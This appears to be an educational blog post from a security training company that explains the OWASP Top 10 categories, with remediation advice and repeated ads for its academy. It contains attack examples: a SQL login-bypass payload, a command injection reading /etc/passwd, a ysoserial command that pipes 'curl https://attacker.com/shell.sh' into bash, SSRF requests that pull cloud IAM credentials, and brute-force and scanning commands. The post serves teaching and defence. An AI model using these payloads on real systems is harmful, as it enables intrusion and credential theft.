Web application security is not a niche skill anymore. It is a foundational requirement for developers, penetration testers, and security engineers alike. The OWASP Top 10 is the most widely referenced framework for understanding the most critical web application security risks, and if you are serious about a career in cybersecurity, it is the place to start.
This guide walks through each of the ten categories with technical depth, real-world context, and hands-on examples. Whether you are preparing for a web application penetration testing role or strengthening your understanding before enrolling in a structured program, this post gives you the substance you need.
The Open Worldwide Application Security Project (OWASP) is a non-profit foundation that produces freely available resources on web application security. The OWASP Top 10 is a standard awareness document representing the most critical security risks to web applications, updated periodically based on data from hundreds of organizations and thousands of real-world applications.
The current version, published in 2021, reflects a significant shift in how the community thinks about application risk. Categories were reorganized, merged, and renamed to better reflect modern attack patterns. For web security students, understanding why these categories exist is just as important as knowing how to exploit or remediate them.
If you want a structured path to mastering these concepts hands-on, Redfox Cybersecurity Academy offers practical web security training built around real-world attack scenarios.
Broken access control moved to the top spot in 2021 and for good reason. It was found in 94% of applications tested by OWASP contributors. Access control enforces policy such that users cannot act outside their intended permissions. When it fails, attackers can access unauthorized functionality or data.
Insecure direct object references (IDOR) are one of the most common manifestations. Consider the following request:
GET /api/invoices/10482 HTTP/1.1
Host: vulnerable-app.com
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
[cta]
Changing the invoice ID to another user's record and receiving a successful response indicates a broken access control vulnerability. No privilege check is being enforced on the server side.
Vertical privilege escalation is another variant. A standard user modifying a request to access admin-only endpoints, such as /admin/users/delete, without any server-side role validation, is a textbook example.
Deny access by default. Implement server-side authorization checks on every sensitive endpoint. Log and alert on access control failures. Role-based access control (RBAC) or attribute-based access control (ABAC) should be enforced at the API layer, not just the UI.
Previously labeled "Sensitive Data Exposure," this category was renamed in 2021 to focus on the root cause rather than the symptom. Cryptographic failures lead to exposure of sensitive data such as passwords, credit card numbers, health records, and session tokens.
Unencrypted data transmission, use of deprecated algorithms like MD5 or SHA-1 for password hashing, hardcoded keys in source code, and improper certificate validation are all indicators of cryptographic failure.
A common finding during source code review looks like this:
import hashlib
def store_password(password):
return hashlib.md5(password.encode()).hexdigest()
[cta]
MD5 is not a suitable algorithm for password storage. It is fast, which is exactly the wrong property for a hashing function protecting credentials. Attackers use tools like Hashcat with GPU acceleration to crack MD5 hashes at billions of attempts per second.
The correct approach uses a purpose-built, slow hashing algorithm:
import bcrypt
def store_password(password):
salt = bcrypt.gensalt(rounds=12)
return bcrypt.hashpw(password.encode(), salt)
[cta]
Enforce HTTPS everywhere. Use TLS 1.2 or 1.3. Store passwords using bcrypt, scrypt, or Argon2. Never store sensitive data you do not absolutely need.
Injection vulnerabilities occur when untrusted data is sent to an interpreter as part of a command or query. SQL injection remains the most well-known variant, but the category also covers LDAP injection, OS command injection, and NoSQL injection.
Consider a login form where user input is concatenated directly into a SQL query:
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1' --'
[cta]
This classic payload bypasses authentication entirely. Using sqlmap to automate detection during an authorized penetration test looks like this:
sqlmap -u "https://target.com/login" \
--data="username=admin&password=test" \
--level=5 \
--risk=3 \
--dbs \
--batch
[cta]
When a web application passes user-supplied input to a shell command without sanitization, OS command injection becomes possible:
# Vulnerable Python endpoint
import os
filename = request.args.get('file')
os.system(f"cat /var/reports/{filename}")
# Attacker payload
file=../../etc/passwd;id
[cta]
Use parameterized queries or prepared statements for all database interactions. Never pass user input to shell commands. Apply input validation and use allowlists where possible.
If you want to practice injection techniques in a safe, legal environment, Redfox Cybersecurity Academy provides lab-based training where you can sharpen your skills without risk.
Insecure design is a newer category that addresses flaws in the architecture and design of applications rather than implementation bugs. These are not vulnerabilities introduced by bad code; they are vulnerabilities introduced by missing security controls at the design stage.
An e-commerce platform that allows unlimited coupon code retries with no rate limiting has an insecure design. There is no implementation bug to patch. The logic itself was never designed with abuse in mind.
Threat modeling during the design phase using frameworks like STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege) helps teams identify these risks before a single line of code is written.
Establish secure design patterns. Use threat modeling. Integrate security into the software development lifecycle from the earliest stages. Conduct design reviews as a formal part of your development process.
Security misconfiguration is among the most prevalent findings in real-world assessments. It covers a wide range of issues: default credentials, overly permissive cloud storage buckets, verbose error messages, unnecessary features left enabled, and missing security headers.
A quick check using curl reveals what a target is and is not sending:
curl -I https://target.com | grep -iE \
"Strict-Transport-Security|Content-Security-Policy|X-Frame-Options|X-Content-Type-Options"
[cta]
Missing headers like Content-Security-Policy and Strict-Transport-Security are common findings with direct security impact.
Default admin panels left exposed are another staple of this category. Tools like Gobuster are used during authorized assessments to identify these:
gobuster dir \
-u https://target.com \
-w /usr/share/wordlists/dirb/common.txt \
-x php,html,bak \
-t 50 \
--status-codes 200,301,302,403
[cta]
Harden all environments. Disable unused features, services, and accounts. Automate configuration reviews. Apply security benchmarks such as CIS Controls. Ensure error messages do not leak stack traces or internal paths to end users.
Modern applications rely heavily on third-party libraries, frameworks, and components. When those components contain known vulnerabilities and are not updated, attackers can exploit them directly, often with publicly available proof-of-concept code.
For Node.js projects, checking for known vulnerabilities is straightforward:
npm audit --audit-level=high
[cta]
For Python projects using pip:
pip install pip-audit
pip-audit
[cta]
For a broader supply chain view during authorized assessments, tools like Trivy scan container images and filesystems:
trivy image nginx:1.21.0
[cta]
Maintain a software bill of materials (SBOM). Subscribe to vulnerability feeds such as the NVD. Automate dependency scanning in your CI/CD pipeline. Remove unused dependencies. Update regularly and prioritize critical patches.
Previously called "Broken Authentication," this category covers weaknesses in how applications confirm user identity and manage sessions. Weak passwords, credential stuffing, missing multi-factor authentication, and poor session management all fall here.
During a web application assessment, analyzing session token entropy helps identify predictable tokens. Using Burp Suite's Sequencer tool is the professional standard for this analysis. After capturing session tokens across multiple requests, Sequencer performs a statistical analysis to determine whether token generation is sufficiently random.
Beyond tooling, logic issues matter just as much. Consider a password reset flow that uses a predictable token:
import time
reset_token = str(int(time.time()))
[cta]
A token derived from the current Unix timestamp is trivially guessable within a small time window. An attacker who knows when a reset was requested can brute-force the token in seconds.
Using Hydra against a login endpoint (in an authorized lab context):
hydra -L users.txt -P passwords.txt \
target.com http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials" \
-t 16 -V
[cta]
Enforce multi-factor authentication. Implement account lockout or rate limiting on authentication endpoints. Use secure, random session token generation. Invalidate session tokens on logout. Require strong password policies.
This category covers cases where code and infrastructure do not protect against integrity violations. It includes insecure deserialization (carried over from the 2017 list) and the increasingly critical issue of software supply chain attacks.
When applications deserialize data from untrusted sources without validation, attackers can manipulate serialized objects to execute arbitrary code. A classic Java deserialization gadget chain can be generated using the ysoserial tool:
java -jar ysoserial.jar CommonsCollections6 "curl https://attacker.com/shell.sh | bash" > payload.ser
[cta]
This serialized payload, when deserialized by a vulnerable Java application, triggers remote code execution.
On the supply chain side, an attacker who gains write access to a dependency repository or CI/CD pipeline can inject malicious code that ends up running in production environments. Verifying artifact integrity using checksums is a baseline control:
sha256sum downloaded-package.tar.gz
# Compare against the vendor-published checksum
[cta]
Use digital signatures to verify software artifacts. Implement integrity checks in CI/CD pipelines. Prefer locked dependency versions. Review third-party code before inclusion. Apply the principle of least privilege to pipeline service accounts.
You cannot respond to what you cannot detect. This category covers the failure to log security events, monitor for attacks, and alert on suspicious behavior. In practice, many breaches go undetected for months because organizations lack adequate visibility into their own systems.
At a minimum, web applications should log authentication events (successes and failures), access control failures, input validation failures, and high-value transactions. Each log entry should include a timestamp, source IP, user identity (if known), the action taken, and the outcome.
A structured log entry in JSON format is far more useful for SIEM ingestion than a plain text string:
{
"timestamp": "2024-11-15T14:22:03Z",
"event": "auth_failure",
"source_ip": "198.51.100.42",
"username": "admin",
"user_agent": "python-requests/2.28.0",
"endpoint": "/api/login",
"status": 401
}
[cta]
A stream of auth_failure events from the same IP, as shown above, should trigger an alert. A user_agent of python-requests on a login endpoint is a strong indicator of an automated credential stuffing attack.
Establish centralized log aggregation. Define alerting thresholds for failed authentication attempts, access control violations, and scanning patterns. Conduct regular log reviews. Ensure logs are tamper-resistant and retained for an appropriate period.
If building a career in security operations or red teaming, understanding logging and detection is as important as knowing how to attack. Redfox Cybersecurity Academy covers both offensive and defensive perspectives to give students a complete picture.
SSRF was added to the OWASP Top 10 as a standalone category in 2021, reflecting its growing prevalence and impact in cloud-hosted environments. In an SSRF attack, the attacker causes the server to make HTTP requests to an unintended destination, typically internal infrastructure or cloud metadata services.
In cloud environments, the instance metadata service is reachable at a well-known address. If an application fetches a URL supplied by the user without validation, an attacker can point it inward:
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: vulnerable-app.com
[cta]
On AWS, this returns the name of the IAM role attached to the instance. A follow-up request retrieves temporary credentials:
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/MyAppRole HTTP/1.1
Host: vulnerable-app.com
[cta]
Those credentials can then be used with the AWS CLI to access S3 buckets, enumerate IAM policies, or pivot further into the cloud environment.
When the response is not returned directly to the attacker, out-of-band techniques confirm the vulnerability. Using an interactsh server to catch callbacks:
# Start an interactsh client
interactsh-client
# Use the generated subdomain as the SSRF target
# Example: abcdef.oast.fun
GET /fetch?url=http://abcdef.oast.fun/ssrf-test HTTP/1.1
[cta]
If a DNS or HTTP interaction is recorded by the interactsh server, SSRF is confirmed even without direct response output.
Validate and sanitize all user-supplied URLs. Use an allowlist of permitted destinations. Disable unnecessary URL-fetching functionality. Block requests to private IP ranges and link-local addresses at the network layer. Use instance metadata service v2 (IMDSv2) on AWS, which requires session-oriented requests and mitigates naive SSRF exploitation.
The OWASP Top 10 is not a checklist to memorize. It is a framework for understanding how real-world web applications fail and how attackers take advantage of those failures. Each category represents a class of vulnerability with distinct root causes, detection techniques, and remediation strategies.
For web security students, the path from understanding to proficiency requires practice in controlled environments with real tooling. Reading about SQL injection is useful. Exploiting it, identifying why it exists, and then patching it in a realistic application is transformative.
The ten categories covered here (broken access control, cryptographic failures, injection, insecure design, security misconfiguration, vulnerable components, authentication failures, software integrity failures, logging failures, and SSRF) form the core curriculum of any serious web security education.
If you are ready to go beyond theory and build the hands-on skills that security teams and penetration testing firms actually look for, Redfox Cybersecurity Academy provides structured, lab-driven training designed for serious students. Start your journey at the right foundation and build from there.
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
.avif)
